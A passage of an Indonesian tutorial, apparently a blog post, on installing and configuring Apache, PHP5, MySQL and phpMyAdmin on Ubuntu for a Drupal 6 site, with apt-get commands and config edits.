  4. Untuk instal phpMyAdmin, silahkan Search dan ketikkan phpmyadmin.

Jika ingin menggunakan command apt-get atau aptitude ini tutorialnya:

  1. Instal Apache: sudo apt-get install apache2 apache2-doc apache2-mpm-prefork apache2-utils apache2-suexec libexpat1 ssl-cert
  2. Instal PHP: sudo apt-get install libapache2-mod-php5 libapache2-mod-ruby libapache2-mod-python php5 php5-common php5-curl php5-dev php5-gd php5-idn php-pear php5-imagick php5-imap php5-mcrypt php5-memcache php5-mhash php5-ming php5-mysql php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl
  3. Instal MySQL: sudo apt-get install mysql-server mysql-client libmysqlclient15-dev
  4. Instal phpMyAdmin: sudo apt-get install phpmyadmin

// // 1. Konfigurasi Web Server Apache:

Edit file /etc/apache2/sites-enabled/000-default, rubah pada bagian:

<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
</Directory>

MENJADI

// // <Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>

  • Aktifkan module rewrite, gunakan command: $ sudo a2enmod rewrite,
  • Sehingga akan muncul:Module rewrite installed; run /etc/init.d/apache2 force-reload to enable.
  • Jalankan/restart web server apache untuk mengaktifkan perubahan yang sudah dilakukan dengan command: $ sudo /etc/init.d/apache2 restart, jika berhasil maka akan muncul:

Restarting web server apache2
…waiting                                                          [ok]

  • Rubah root direktory web server dengan command:$ sudo chown -R [nama-user] /var/www

Maksudnya agar [nama-user] memiliki akses full terhadap root direktori web server, sehingga memudahkan pengelolaan web saat kita login menggunakan user [nama-user] nantinya.

// // 2. Konfigurasi MySQL:
Untuk mengelola database MySQL saya menggunakan phpMyAdmin. Saya hanya perlu menambahkan user baru selain root untuk akses database nantinya.

  1. Dari browser arahkan URL ke: http://localhost/phpmyadmin. Kemudian masukkan username root dan password.
  2. Setelah login dihalaman phpMyAdmin, pilih tab Hak Akses. Kemudian tambahkan pengguna baru, beri hak atas akses database untuk host localhost.

// <![CDATA[// // <![CDATA[// Konfigurasi php.ini:
hanya merubah pada bagian memory_limit = 16M pada file /etc/php5/apache2/php.ini menjadi memory_limit = 64M. Hal ini dibutuhkan saat menggunakan modul CCK pada Drupal 6